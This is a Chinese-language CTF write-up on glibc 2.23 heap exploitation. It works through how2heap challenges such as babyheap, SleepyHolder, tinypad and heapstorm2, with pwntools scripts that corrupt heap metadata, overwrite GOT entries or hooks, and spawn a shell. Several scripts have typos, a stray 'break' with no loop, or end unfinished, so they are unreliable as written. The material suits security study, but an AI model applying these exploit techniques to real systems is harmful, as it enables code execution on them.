libc2.23

0ctfbabyheap

首先打开程序就知道分成几个部分。
Allocate: 可以申请16个 由mmap分配了一个空间存储相应信息。
结构如下:一个chunk由一个24字节的区域记录 ,前8个字节记录是否没被free,8-16记录大小,16-24记录地址
并且每次申请都会用1初始化。
Fill: 写入字节,但是存在一个很明显的溢出,必须输入指定字节数 否则不停止
Free: 就是正常的free.
Dump: 输出内容, 前面有Content: 的提示

这里就用最简单的fastbindup篡改malloc_hook的思路。

这里需要需要控制出一个重叠来泄露libc地址。
fastbin在free时并不会设置后一块的prev_in_use位,也就是说,进入fastbin几乎没有检查,这让我们可以构造出一个fastbin和small的重叠
我们通过两个fastbin的部分覆盖能轻松实现这个要求.
先写好四个基础操作的函数

from pwn import *
p=process('./0ctfbabyheap')
def Allocate(num):
p.sendline(f"1\n{num}")
def Fill(index,data):
p.send(f"2\n{index}\n{len(data)}\n")
p.recvuntil(b'Content: ')
p.send(data)
sleep(0.5)
def Free(index):
p.send(f"3\n{index}\n")
def Dump(index):
p.send(f"4\n{index}\n")
p.recvuntil(b'Content: \n')
return p.recvline()

构思流程:
先申请4个0x30大小的fastbin 两个用来重叠(这里用的是部分覆盖 因此还需要多增加一个chunk用来溢出,否则fd会是0) 最后一个用来防止合并
然后申请一个0x90大小的 用来获得main_arena地址。
申请完调试一下,看smallchunk位置

Allocated chunk | PREV_INUSE
Addr: 0x55c9998f00c0
Size: 0x90 (with flag bits: 0x91)

我们先控制fastbindup 与 这个smallbin 重叠 .这里只需要相对覆盖,这里还需要注意的是需要先把size修改了。

Allocate(0x90-8)
Fill(3,p64(0)*5+p64(0x31))
Free(1)
Free(2)
Fill(0,p64(0)*5+p64(0x31)+p64(0)*5+p64(0x31)+b'\xc0')
Allocate(0x30-8)
Allocate(0x30-8)
Allocated chunk | PREV_INUSE
Addr: 0x55e92237b0c0
Size: 0x30 (with flag bits: 0x31)

这就说明已经成功重叠了(这是新开了一次程序,看相对位置就行)

Allocated chunk | PREV_INUSE 0 
Addr: 0x55e92237b000
Size: 0x30 (with flag bits: 0x31)

Allocated chunk | PREV_INUSE
Addr: 0x55e92237b030
Size: 0x30 (with flag bits: 0x31)

Allocated chunk | PREV_INUSE 1
Addr: 0x55e92237b060
Size: 0x30 (with flag bits: 0x31)

Allocated chunk | PREV_INUSE 3
Addr: 0x55e92237b090
Size: 0x30 (with flag bits: 0x31)

Allocated chunk | PREV_INUSE 4 2
Addr: 0x55e92237b0c0
Size: 0x30 (with flag bits: 0x31)

然后就是修改回原来的大小 free掉4 这里要再malloc一个0x90大小的chunk先,防止free的时候和topchunk合并

Fill(3,p64(0)*5+p64(0x91))
Allocate(0x80)
Free(4)

输出检查一下
正常就继续
0x7d71b69c3b78 是给出的位置
算出libc位置
0x7d71b6600000
可计算出偏移0x3c3b78
mallochook的位置在3c3b10
我们分配到malloc_hook -8*2-3也就是-19的位置
这里要注意fastbin指针是从chunk起点开始的 我因为这个卡了很久。

SleepyHolder

程序初始化部分设置了一个60秒的限时 到时间自动退出

  1. 兼具申请和写入功能,申请大小无法自己设定,但是有largebin大小和fastbin大小,还有个非常大的大小。每个都只能申请一次,但largebin 和fastbin大小的可以free
  2. free功能,free没有检查是否已经free,导致有double free的可能性
  3. read功能,但是需要已经申请过。

可以double free 但是free后没法写 这就非常符合fastbin_dup_consolidate 技术的使用前提。
但是还有个问题,我们无法通过chunk泄露出libc,不过还好这题没开PIE,这样可以考虑修改got表 然后操作三个
还有个问题就是修改got以及后续利用的方法,我原本想的是用puts来泄露里libc,然后搞ROP 但我后来觉得既然都修改got了,不如直接再修改free成system 然后运行system(‘/bin/sh’)

先写对应的函数

from pwn import *
def add(index,data):
p.recvuntil(b'3. Renew secret')
p.sendline(b'1')
p.recvuntil(b'What secret do you want to keep?')
p.sendline(str(index).encode('l1'))
p.recvuntil('Tell me your secret:')
p.send(data)
p.recv(1)
def delete(index):
p.recvuntil(b'3. Renew secret')
p.sendline(b'2')
p.recvuntil(b'2. Big secret')
p.sendline(str(index).encode('l1'))
p.recvuntil(b'\n')
def update(index,data):
p.recvuntil(b'3. Renew secret')
p.sendline(b'3')
p.recvuntil(b'2. Big secret')
p.sendline(str(index).encode('l1'))
p.recvuntil('Tell me your secret:')
p.send(data)
p.recv(1)

为了防止一些读写方面字符的差距,这里写的比较复杂。

先构造重叠。
这里由于只能用三个块,所以可以1号用来构造重叠,2号用来隔离防止合并,3当作一个largebin大小的申请把1移入unsorted bin

这些都是正常的,但是程序由于没有对double free的检查,并且fastbin也没有(不检查后一个chunk的prev_inuse)

这就导致我们可以再free一次1,使得smallbin和fastbin都有1

smallbins
0x30 [corrupted]
FD: 0x2714770 ◂— 0
BK: 0x2714770 —▸ 0x7ccaf71c3b98 ◂— 0x2714770

fastbins
0x30: 0x2714770 ◂— 0

这时候我们再申请 会先从fastbin里面取,然后就可以打unsortedbin attack 把这个堆块分配到1的指针位置
具体就不细说了.

add(1,b'a')
add(2,b'a')
delete(1)
add(3,b'a')
delete(1)
ptr1=0x6020d0
payload =p64(0)+p64(0x21)+ p64(ptr1 - 0x18) + p64(ptr1 - 0x10)+p64(0x20)
add(1,payload)
delete(2)

这里就成功打了个fastbin_dup_consolidate + unlink

ptr1会被成功修改成ptr1-0x18,我们看bss的结构

.bss:00000000006020B8 byte_6020B8     db ?                    ; DATA XREF: sub_4008F0↑r
.bss:00000000006020B8 ; sub_4008F0+13↑w
.bss:00000000006020B9 align 20h
.bss:00000000006020C0 ; void *buf2
.bss:00000000006020C0 buf2 dq ? ; DATA XREF: Allocate_read+11E↑w
.bss:00000000006020C0 ; Allocate_read+139↑r ...
.bss:00000000006020C8 ; void *buf3
.bss:00000000006020C8 buf3 dq ? ; DATA XREF: Allocate_read+174↑w
.bss:00000000006020C8 ; Allocate_read+18F↑r
.bss:00000000006020D0 ; void *buf1
.bss:00000000006020D0 buf1 dq ? ; DATA XREF: Allocate_read+C2↑w
.bss:00000000006020D0 ; Allocate_read+DD↑r ...
.bss:00000000006020D8 dword_6020D8 dd ? ; DATA XREF: Allocate_read:loc_400A3D↑r
.bss:00000000006020D8 ; Allocate_read+125↑w ...
.bss:00000000006020DC locked dd ? ; DATA XREF: Allocate_read+35↑r
.bss:00000000006020DC ; Allocate_read:loc_400A96↑r ...
.bss:00000000006020E0 dword_6020E0 dd ? ; DATA XREF: Allocate_read:loc_4009E1↑r

我们目前可以控制三个的指针和两个free检查位 其中locked 和 buf3 没什么用 。
首先我们要泄露libc_base. buf1覆盖成free的got 这样再次覆盖的时候就可以修改free成其他的函数,我们稍后将它修改成puts.plt
再把buf2覆盖成任何一个got表,这里可以选择atoi
对于buf3,可以不用管。
这样覆盖一次后,再次覆盖就是在free的got覆盖了,把他覆盖成puts.plt 然后运行free(2) (其实是puts(2))
然后就会输出atoi的got里面的值,也就是atoi在glibc里面的实际位置。
然后我们再次覆盖 把free写成system的地址, 这里要注意新建2 写入’/bin/sh’ 然后运行即可.

free_got = 0x602018
atoi_got = 0x602080
puts_plt = 0x400760
atoi_offset = 0x36E70
system_offset = 0x45380
payload =p64(0) + p64(atoi_got) + p64(0) + p64(free_got) + p32(1)*2
update(1,payload)
payload =p64(puts_plt)
update(1,payload)
delete(2)
libc_base = int.from_bytes(p.recv(6),'little')-atoi_offset
print(hex(libc_base))
payload = libc_base + system_offset
update(1,p64(payload))
payload = '/bin/sh\x00'
add(2,payload)
delete(2)
p.interactive()


stkof

有四个四个功能,申请部分直接暴露了存储堆ptr地址,写入部分存在溢出,free部分空置了指针,所以没有uaf,另外我们无法打印出指针。
我想到的方法其实和前面差不多? 搜到的也基本是这么做的。这样看来前面那题反而更难

我的想法大致是 unlink1用来控制指针,然后2用来控制free.got变成puts.plt然后再把2重新覆盖成atoi.got用来泄露libc,接着继续重复操作覆盖成system,最后我们直接覆盖ptr-0x18的位置为/bin/sh 来运行system(/bin/sh)

先写三个操作函数 //输出部分没什么用

p=process('./stkof')
def new(size):
payload = b'1\n'+str(size).encode('l1')+b'\n'
p.send(payload)
p.recvline()
def fill(index,data):
payload = b'2\n'
payload += str(index).encode('l1') + b'\n'
n = len(data)
payload += str(n).encode('l1') + b'\n'
payload +=data
p.send(payload)
def delete(index):
payload = b'3\n'
payload += str(index).encode('l1') + b'\n'
p.send(payload)

我先进行了unlink操作 结果测试的时候发现不对劲,我再malloc三次后检查了heap发现,程序由于输出主动申请了个缓冲区,所以我们的1号chunk没用了
unlink

new(0x88)
p.recvline()
new(0x88)
p.recvline()
new(0x88)
p.recvline()
new(0x88)
p.recvline()
ptr2 = 0x602150
payload = p64(0) + p64(0x81)+ p64(ptr2-0x18) + p64(ptr2 - 0x10) +(p64(0)*2)*6 + p64(0x80) + p64(0x90)
fill(2,payload)
p.recvline()
delete(3)
p.recvline()

为了方便后续操作 本来要在函数体内部处理的p.recvline()我都移到外面了。

free_got = 0x602018
atoi_got = 0x602088
puts_plt = 0x400760
atoi_offset = 0x36E70
system_offset = 0x45380
payload = p64(0)*3+p64(ptr2)
fill(2,payload)
p.recvline()
payload = p64(ptr2)+p64(free_got)+p64(atoi_got)
fill(2,payload)
p.recvline()
payload = p64(puts_plt)
fill(3,payload)
p.recvline()
delete(4)
libc_base = int.from_bytes(p.recvline().rstrip(b'\n'),'little') - atoi_offset
print(hex(libc_base))
p.recvline()
payload = p64(libc_base+system_offset)
fill(3,payload)
p.recvline()
payload = p64(ptr2-0x10)
fill(2,payload)
fill(2,b'/bin/sh\x00')
delete(2)
p.interactive()

这一块的操作可以参考一下上一题,就不细说了,流程稍微优化了一下 比刚才讲的简单点,利用到了ptr3

oreo

注意这一题是32位的
这个题题面比较复杂
Add new rifle:
一个rifle是一个结构体,大小56,如果加上head就是64
结构体大致如下

offset label
0 description
25 name
52 fd

可以理解为一个链表,程序有一个变量记录表头 每次申请都往表头后插入 类似fastbin
还有个变量用于记录存储的所有rifles
但是很明显,Add new rifle过程存在堆溢出
每次读取都读取56个字符.

Show added rifles:
按单链表顺序,显示Name和Description

Order selected rifles:
free所有的rifles ,会把head归零。

Leave a Message with your Order:
在bss段一个128字节的空间里写入消息。

Show current stats:
显示所有rifles 和 orders 个数 ,显示notice .

这一题我们只能在malloc的时候写入,并且只能一次性free所有申请过的chunk,这让我们很难利用堆溢出构造重叠,因为我们几乎无法控制size部分,也没有写入free的堆块的手段。
但是一次性free所有指针+fd可以被控制,这可以让我们free任意地址,而notice存在指针。我们控制notice的指针,对后续必然非常有帮助,于是可以想到house of spirit
为了控制指针,我们需要利用到指针前面的totalrifles(记录rifles总数,之前说过的) ,这可以帮助我们构造出size部分。 然后我们控制了指针就可以进行任意写了。
但是我们还需要泄露libc地址,这也并不是很复杂,因为我们可以输出chunk中的内容,如果控制指针指向got表,即可输出got表中内容,进而获取libc地址
任意指的指针只能用一次,我们用它修改got内容,需要找到一个合适的调用位置,这里我是没注意到的,在readnum中有个位置可以正好让我们写入/bin/sh,并且马上可以作为函数的参数

call    _fgets
lea eax, [ebp+var_30]
mov [esp+8], eax
mov dword ptr [esp+4], offset aU ; "%u"
lea eax, [ebp+s]
mov [esp], eax
call ___isoc99_sscanf

综合上述逻辑,就可以开始写脚本了。

先写对应的函数

def new(ptr):
p.send(b'1\n')
p.sendline(b'a'*(52-25)+ptr)
p.sendline(b'abcd')
def show(i):
#从0开始,显示第i个的内容
p.sendline(b'2')
for _ in range(i+1):
p.recvuntil(b'Description: ')
return p.recvline().rstrip(b'\n')
def order():
#free所有
p.sendline(b'3')
def message(data):
p.sendline(b'4')
p.sendline(data)


再泄露libc

#泄露libc
new(p32(0x0804A248))
puts = int.from_bytes(show(1)[:4],'little')
puts_offset=0x0005fcb0
libc_base = puts-puts_offset

house_of_spirit

#house_of_spirit
#申请0x3f个枪支 ,伪造size,先0x3e个,最后一个要覆写
for _ in range(0x3e):
new(b'')
payload = p32(0x0804a2a8)
new(payload)
payload = b'\x00'*0x20+p32(22) + p32(0x51)
message(payload)
order()
sscanf_got = 0x0804A258
p.send(b'1\n')
p.sendline(b'a')
p.sendline(p32(sscanf_got))

这时候我们已经控制了指针,并且已经把指针调到了got

#覆盖got表 获得shell
message(p32(system_offset+libc_base))
p.sendline('/bin/sh\0')
p.interactive()

之后两题在原始的技术方面都挺简单,但是后面会跟着其他的比较难的技术,于是我直接跳过了

cookbook

这题的复杂程度简直离谱,我直接找了个writeup看,how2heap例题多少有点抽象。
涉及到的一些结构:
recipe:
0x0: ptr to linked list of ingredient counts
0x4: ptr to linked list of ingredient quantities
0x8: char array for recipe name
124: char array to recipe type
140: Char array for recipe instruction

ingredient:
0x0: calories
0x4: price
0x8: char array for ingredient name
0x140: ptr to itself

主程序是一个菜单,涉及三部分的操作,由于太复杂就不细说了,
漏洞出现在create recipe里,discard recipe功能有UAF漏洞。

case 'd':
free(dword_804D0A0);
continue;

dword_804D0A0是一个指向当前正在操作的recipe的指针,其他的操作都需要用到这个指针,同样还有指向当前在操作的ingredient的指针
利用这个漏洞,再加上两个结构存储的数据,我们可以获取堆内存,先创建一个新的recipe free掉,输出recipe的时候就会输出heap地址。

然后就是泄露libc.很明显recipe的instruction是溢出的,那么我们就可以通过uaf漏洞,来覆盖之后链表中指向最新ingredient的指针,再输出这个ingredient信息,泄露libc,
我们可以利用之前已经free的recipe,先新建 ingredient 然后把他导入链表,然后再编辑recipe进行溢出,然后再输出ingredient信息即可。

然后就是利用house_of_force覆盖 free_hook 这里可以利用name自定义大小的功能。

脚本方面,这里操作太多了,写成很多函数的形式感觉并不容易,可以直接写输入输出。

from pwn import *
import ctypes

free_got = 0x804d018
free_hook_offset = 0x1b8b10
free_offset = 0x73880
p = process('./cookbook')


p.sendline(b'jimijingshen')

def refresh_heap(index):
for _ in range(0,index):
p.sendline("g")
p.sendline(hex(5).encode('l1'))
p.sendline("abcd")
sleep(0.01)

def recvs():
p.recvuntil(b"====================")
def recve():
p.recvuntil(b"[q]uit")
def recvd():
p.recvuntil(b"------\n")

def leak_heap():
recve()
p.sendline(b'c')
recve()
p.sendline(b'n')
recve()
p.sendline(b'a')
p.sendline(b'water')
p.sendline(b'0x3')

p.sendline(b'd')
recve()
p.sendline(b'p')
#这里注意要添加一个成分,不然recipe的堆不能进入unsortedbin 而是和topchunk合并
p.recvuntil(b"recipe type: (null)\n\n")
leak = p.recvuntil(b'-').decode('l1').rstrip('-')
leak = int(leak)
p.sendline(b'q')
return leak-0x430
#返回的是leak_heap操作的recipe的地址
def leak_libc(ptr):
p.sendline(b'a')
p.sendline(b'n')
p.sendline(b'g')
p.sendline(b'jimijingshen')
p.sendline(b's')
p.sendline(b'2')
p.sendline(b'p')
p.sendline(b'1')
p.sendline(b'e')
p.sendline(b'q')
p.sendline(b'c')
p.sendline(b'i')
p.sendline(b'0'*12 + p32(free_got) + p32(0))
p.sendline(b'q')
p.sendline(b'l')
for _ in range(9):
recvd()
p.recvuntil(b'calories: ')
x=ctypes.c_uint32(int(p.recvline().decode('l1')))
return x.value - free_offset
ptr = leak_heap()
libc_addr = leak_libc(ptr)
print(hex(ptr))
system = libc_addr + 0x3b160
free_hook = libc_addr + free_hook_offset
def house():
refresh_heap(0x100)
p.sendline(b'c')
recve()
p.sendline(b'n')
recve()
p.sendline(b'd')
recve()
p.sendline(b'q')
recve()
p.sendline(b'a')
recve()
p.sendline(b'n')
recve()
p.sendline(b'n')
recve()
p.sendline(b'd')
recve()
p.sendline(b'q')
recve()
p.sendline(b'c')
recve()
p.sendline(b'i')
payload = b'abcd'+p32(0)+p32(0xffffffff)+p32(0)
#这里pwndbg的heap是找不到位置的 可以输入特定字符然后用搜索功能
p.sendline(payload)
recve()
p.sendline(b'q')
recve()
house()
wild = ptr+0x92c9410-0x92c82a8

def overwrite():
malloc_to_freehook = (free_hook-16) - wild
#只需要减去一个16,因为是32位。
p.sendline(b'g')
p.sendline(hex(malloc_to_freehook))
p.sendline(b'0000')
p.sendline(b'g')s
p.sendline(hex(5))
p.sendline(p32(system))
p.sendline(b'g')
p.sendline(hex(8))
p.sendline('/bin/sh')
p.sendline(b'R')

overwrite()
p.interactive()


zerostorage

这题漏洞的位置非常新颖。
后面的利用how2heap没怎么讲。

先讲一下每个部分的功能。
1: 申请并写入内容,最大不会超过0x1000 , 最小申请的大小是0x80 ,但是在记录的时候按输入大小计算
2: realloc 对某个序号对应的chunk realloc。其他和申请差不多。
3: merge 合并,输入第一个数是from 第二个是to from 的内容会接到to后面。如果两者记录的大小之和小于0x80会用沿用原来的chunk 但是序号会是新的。
4: 删除entry
5: 输出内容
6: 列出所有正在使用的chunk的大小。

漏洞在merge 部分,没有检测输入的两个序号是不是相同的,导致uaf漏洞。

后面的利用方式也是比较新,利用unlink把一个大数写入global_max_fast ,这样就能打fastbin dup,解决了unsorted bin 被打乱的问题。找到一个除了控制指针之外的新解法。

先写功能 我们要用到的 有12345

总体思路上就是先创建0 ,1 ,2 ,3 ,4
0:free一个chunk,用来泄露堆地址
1:写入binsh
2:unsortedbin attack
3:fastbindup
4:用来申请合适的size,便于fastbin dup控制指针


def insert(size,data = b''):
data = data.ljust(size,b'A')
p.recvuntil(b'Your choice:')
p.sendline(b'1')
p.sendline(str(size).encode('l1'))
p.recvuntil(b'Enter your data:')
p.send(data)
def update(index,size,data=b''):
p.recvuntil(b'Your choice:')
p.sendline(b'2')
p.sendline(str(index).encode('l1'))
p.sendline(str(size).encode('l1'))
p.send(data)
def merge(a,b):
p.recvuntil(b'Your choice:')
p.sendline(b'3')
p.sendline(str(a).encode('l1'))
p.sendline(str(b).encode('l1'))
def view(index):
p.recvuntil(b'Your choice:')
p.sendline(b'5')
p.sendline(str(index).encode('l1'))
p.recvuntil(b'Entry No.')
p.recvline()
return p.recvline().rstrip(b'\n')

def delete(index):
p.recvuntil(b'Your choice:')
p.sendline(b'4')
p.sendline(str(index).encode('l1'))


insert(8)
insert(8,b'/bin/sh\x00')
insert(8)
insert(8)
insert(0x90)
delete(0)

merge(2,2)
#0,1,3,4
retdata=view(0)
unsortedbin_0 = u64(retdata[:8])
main_arena = u64(retdata[8:])
libc_addr = main_arena-( 0x7b3361fbf7b8-0x7b3361c00000)

gdb.attach(p)
pause()

这里已经完成了泄露,如果我们把0update一下,bk位置填入global_max_fast - 0x10就能篡改它的值
但是后面就没法继续写了,因为内核的更新,通过libc算text就不行了。

heapstorm

沟槽的how2heap又挂羊头卖狗肉,这题说是largebin attack 没错,但其实主要是house_of_storm

这次四个功能都特别简单,要注意的是:
禁止了fastbin
用的alloc申请。
这题的漏洞是一个off-by-null 用这个漏洞可以实现overlap 然后我们要想的是怎么弄出largebin的重叠部分,还有怎么进行house_of_storm

复习一下构造重叠的操作:
alloc(0x18) 0
alloc(0x508) 1
alloc(0x18) 2
这时候要在第二个chunk 0x4f0的位置构造prev_size
free 1
然后利用off-one-byte 覆盖使得chunk1缩小
然后在中间申请一个chunk 再free 2 就重叠了.

后面的house of storm大致如下:
构造第二个如上的覆盖。
然后利用unsorted bin 的切割 构造出两个unsorted bin 并且使得其中进入large bin(利用整理机制 )
一个largebin 用来通过偏移的方式写入一个size ,同时覆盖出合理bk
然后用unsortedbin attack 获得获取对应的chunk
后面就是利用合理的覆盖满足view功能的限定条件泄露libc 同时覆盖__free_hook

先写一些利用函数

def Allocate(size):
p.recvuntil(b'Command: ')
p.sendline(b'1')
p.recvuntil(b'Size: ')
p.sendline(str(size).encode('l1'))
def Update(index,data):
p.recvuntil(b'Command: ')
p.sendline(b'2')
p.recvuntil(b'Index: ')
p.sendline(str(index).encode('l1'))
p.recvuntil(b'Size: ')
p.sendline(str(len(data)).encode('l1'))
p.recvuntil(b'Content: ')
p.send(data)
def Delete(index):
p.recvuntil(b'Command: ')
p.sendline(b'3')
p.recvuntil(b'Index: ')
p.sendline(str(index).encode('l1'))
def View(index):
p.recvuntil(b'Command: ')
p.sendline(b'4')
p.recvuntil(b'Index: ')
p.sendline(str(index).encode('l1'))
p.recvuntil(b': ')
data=p.recvline().rstrip(b'\n')
return data

先提前申请好六个chunk用来构造重叠

Allocate(0x18)      #0
Allocate(0x508) #1
Allocate(0x18) #2
Update(1, b'h'*0x4f0+p64(0x500))

Allocate(0x18) #3
Allocate(0x508) #4
Allocate(0x18) #5
Update(4, b'a'*0x4f0+p64(0x500))

Allocated chunk | PREV_INUSE
Addr: 0x60fd9cc16000
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x60fd9cc16020
Size: 0x510 (with flag bits: 0x511)

Allocated chunk | PREV_INUSE
Addr: 0x60fd9cc16530
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x60fd9cc16550
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x60fd9cc16570
Size: 0x510 (with flag bits: 0x511)

Allocated chunk | PREV_INUSE
Addr: 0x60fd9cc16a80
Size: 0x20 (with flag bits: 0x21)

构造第一个重叠


Allocate(0x18) #6
Delete(1)
Update(0,b'a'*(0x18-12))
Allocate(0x18) #1
Allocate(0x4d8) #7
Delete(1)
Delete(2)
Allocate(0x38) #1
Allocate(0x4e8) #2
#01234567

接下来构造第二个重叠的时候,要求最大的那个unsorted bin 大小比第一个略小,这样才能把他它放进largebin

Delete(4)
Update(3,b'b'*(0x18-12))
Allocate(0x18) #4
Allocate(0x4d8) #8
Delete(4)
Delete(5)
Allocate(0x48) #4
#01234678

由于先进先出 这里不申请 把2free了,然后再申请 才会整理到后面那个位置

Delete(2)
Allocate(0x4e8)
Delete(2)

然后就是利用覆盖伪造bk 和bk_nextsize 先largebin attack 然后分配

        storage = 0x13370800
fake_chunk = storage - 0x20
# 覆盖largebin
p2 = p64(0)*4+p64(0)+p64(0x4e1)+p64(0)+p64(fake_chunk+8)+p64(0) + p64(fake_chunk-0x18-5)
Update(8,p2)

# 覆盖unsortedbin
p1 = p64(0)*2 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
Update(7,p1)

#如果heap分配到了0x56开头,就可以成功分配到指定位置
Allocate(0x48) #2
sleep(0.5)
if p.poll()==None :
break
else:
p=process('./heapstorm2')
# 已经分配到目标位置
#接下来要求满足view功能的条件
storage = 0x13370800
payload = p64(0)*5 + p64(0x13377331) + p64(storage)
sleep(0.5)
Update(2,payload)
payload = (p64(0) + p64(0) + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(storage-0x20+3)+p64(8))
Update(0,payload)
heap = u64(View(1))
payload = p64(0) + p64(0) + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000)+p64(heap+0x10)+p64(8)
sleep(0.5)
Update(0,payload)
sleep(1)
libc_addr = u64(View(1))-0x7ce1c09c1b58+0x7ce1c0600000
#print(libc_addr)
#gdb.attach(p)
#pause()
# 0x7ce1c09c1b58 0x7ce1c0600000
print(hex(libc_addr))

#00000000003c3788 w DO .bss 0000000000000008 GLIBC_2.2.5 __free_hook
#00000000000456a0 w DF .text 000000000000002d GLIBC_2.2.5 system
__free_hook = libc_addr + 0x03c3788
system = libc_addr + 0x000456a0

payload = p64(0)*3+p64(0x13377331)+ p64(storage)+p64(0x1000)+p64(__free_hook)+p64(0x100)+p64(storage+0x50)+p64(0x100)+b'/bin/sh\x00'
Update(0,payload)
Update(1,p64(system))
Delete(2)
p.interactive()% ```

注意unsortedbin会先被并入largebin 然后切割.

tinypad

这一题基本就是我自己写的了
从这题流程来看 house_of_einherjar利用条件是:
能够泄露heap地址和控制目标指针的地址
目标指针附近能够伪造fakechunk
有off-one-bye

先看几个功能
ADD: 任意大小申请 申请的同时写入目标大小 add的过程有off_one_byte漏洞
Delete: free,会把size清零,但是这题仍然有uaf,因为无论什么时候程序都会尝试输出指针指向内容
Edit:重新编辑 长度不会超过strlen(ptr)
Quit:退出

首先我们需要泄露libc和heap地址,这很容易实现

Add(0x100,b'a'*0x100)
Add(0xf8,b'a'*0xf8)
Add(0xf8,b'a')
Add(0x100,b'a'*0x100)
Delete(3)
Delete(1)

这时候3的fd会是main_arena
1的fd会是3的地址

p.recvuntil(b'CONTENT: ')
chunk3_addr=u64(p.recvline().rstrip(b'\n').ljust(8,b'\x00'))
print(hex(chunk3_addr))
p.recvuntil(b'CONTENT: ')
p.recvuntil(b'CONTENT: ')
libc_addr = u64(p.recvline().rstrip(b'\n').ljust(8,b'\x00'))-(0x784f0c5bf7b8-0x784f0c200000)
print(hex(libc_addr))

我们等会会off-one-byte到3来打house of einherjar
先做好提前准备
我们需要控制的位置内存布局如下
0x0 buffer: 256
0x100 ptr1_size: 8
0x108 ptr1_ptr: 8
0x110 ptr2_size: 8
……
0x130 ptr4_size: 8
0x138 ptr4_ptr: 8

前面我们先delete了3,先进后出规则 重新申请回来1的时候 ptr1_size会填入0x100 这使得我们能通过unlink对于下一个chunk,prev_size的检查
于是我们需要把fakechunk放在buffer+0x20的位置

tinypad = 0x602040
#fakechunk设置0x20偏移,可以利用到size 同时可以覆盖前两个指针
fakechunk = 0x602060

先计算好prev_size

prev_size = chunk3_addr - fakechunk
print(hex(prev_size))

把chunk先malloc回来方便后面利用

payload = b'a'*0x20+p64(0)+p64(0x101)+p64(fakechunk)*2
Add(0xf8,b'a') #1 但是在3的位置
Add(0x100,b'a'*100) #3 ,但是在1的位置

off_one_byte

Delete(2)
Add(0xf8,b'c'*0xf0+p64(prev_size)) #不能直接edit 因为edit是从buf复制过去的

伪造fakechunk

payload = b'a'*0x20+p64(0)+p64(0x101)+p64(fakechunk)*2
Edit(3,payload)
Delete(1)

这里注意 因为fakechunk这时候进入了unsortedbin 我们还需要重新伪造一遍

Edit(4,payload) 

然后 我们需要控制 main的返回地址 这里不能控制malloc_hook或者 free_hook 因为他们原本都是0 这导致我们无法对其修改

获得main的栈帧地址 可以通过libc里面的__environ 它会指向main函数的environ参数
0x74359e5c24a0-0x74359e200000+libc 有stack 0x7ffd1f2631b8-0x7ffd1f245000
这里我用的libc版本稍微不同 具体需要按照自己的libc来

Add(0xf8,b'a'*(0x100-0x20-16)+p64(0x100)+p64(0x74359e5c24a0-0x74359e200000+libc_addr)+p64(0x100)+p64(0x602148))
p.recvuntil(b'CONTENT: ')
environ=u64(p.recvline().rstrip(b'\n').ljust(8,b'\x00'))
#environ相对于 ret_addr 多0x7fff646ca878-0x7fff646ca788
ret_addr = environ -(0x7fff646ca878-0x7fff646ca788)
one_gadget =0xe7566+libc_addr
Edit(2,p64(ret_addr))
Edit(1,p64(one_gadget))

然后退出即可获得shell

完整exp

from pwn import *
p=process('./tinypad')
def Add(size,data):
p.recvuntil(b'(CMD)>>> ')
p.sendline(b'A')
p.recvuntil(b'(SIZE)>>>')
p.sendline(str(size).encode('l1'))
p.recvuntil(b'(CONTENT)>>> ')
p.sendline(data)
def Delete(index):
p.recvuntil(b'(CMD)>>> ')
p.sendline(b'D')
p.recvuntil(b'(INDEX)>>>')
p.sendline(str(index).encode('l1'))
def Edit(index,data):
p.recvuntil(b'(CMD)>>> ')
p.sendline(b'E')
p.recvuntil(b'(INDEX)>>>')
p.sendline(str(index).encode('l1'))
p.recvuntil(b'(CONTENT)>>>')
p.sendline(data)
p.sendline(b'Y')
#第一个不能是0x100大小,不然最低位是0x00导致无法泄露
Add(0x100,b'a'*0x100)
Add(0xf8,b'a'*0xf8)
Add(0xf8,b'a')
Add(0x100,b'a'*0x100)
Delete(3)
Delete(1)

p.recvuntil(b'CONTENT: ')
chunk3_addr=u64(p.recvline().rstrip(b'\n').ljust(8,b'\x00'))
print(hex(chunk3_addr))
p.recvuntil(b'CONTENT: ')
p.recvuntil(b'CONTENT: ')
libc_addr = u64(p.recvline().rstrip(b'\n').ljust(8,b'\x00'))-(0x784f0c5bf7b8-0x784f0c200000)
print(hex(libc_addr))
tinypad = 0x602040
#fakechunk设置0x20偏移,可以利用到size 同时可以覆盖前两个指针
fakechunk = 0x602060
prev_size = chunk3_addr - fakechunk
print(hex(prev_size))

payload = b'a'*0x20+p64(0)+p64(0x101)+p64(fakechunk)*2
Add(0xf8,b'a') #1 但是在3的位置
Add(0x100,b'a'*100) #3 ,但是在1的位置
Delete(2)
Add(0xf8,b'c'*0xf0+p64(prev_size)) #不能直接edit 因为edit是从buf复制过去的
Edit(3,payload)
Delete(1)
Edit(4,payload) #delete之后会被重新填入数据 因此我们需要再一次修改 才能通过检测
#one_gadget 0xe6665+libc_addr
#0x74359e5c24a0-0x74359e200000+libc 有stack 0x7ffd1f2631b8-0x7ffd1f245000
Add(0xf8,b'a'*(0x100-0x20-16)+p64(0x100)+p64(0x74359e5c24a0-0x74359e200000+libc_addr)+p64(0x100)+p64(0x602148))
p.recvuntil(b'CONTENT: ')
environ=u64(p.recvline().rstrip(b'\n').ljust(8,b'\x00'))
#environ相对于 ret_addr 多0x7fff646ca878-0x7fff646ca788
ret_addr = environ -(0x7fff646ca878-0x7fff646ca788)
one_gadget =0xe7566+libc_addr
Edit(2,p64(ret_addr))
Edit(1,p64(one_gadget))
gdb.attach(p)
p.interactive() #退出即可获取shell


house of orange

先看每个功能

Build:
新建一个house
按顺序输入 name长度,name ,price,color
使用一个结构体存储两个部分的指针
结构体:
0x0: ptr to description(price and color)
0x8: ptr to name

name 就是一个存储name的chunk 申请大小最大不超过4096
description 是calloc(1uLL, 8uLL)
前四个字节存储价格 后四个字节存储颜色

Upgrade:
更新当前的house
漏洞就在这里 更新的时候是重新指定大小的 所以可以有非常大的溢出

See:
输出 这里也有漏洞,因为申请没有初始化 所以可以泄露地址。

这题就是标准的house_of_orange 所以就不写思路了
直接写流程

from pwn import *

p = process('./house_of_orange')

def add(size,data):
p.sendlineafter(b'Your choice:',b'1')
p.sendlineafter(b'Length of name:',str(size).encode('l1'))
p.sendafter(b'Name:',data)
p.sendlineafter(b'Price of Orange',b'1')
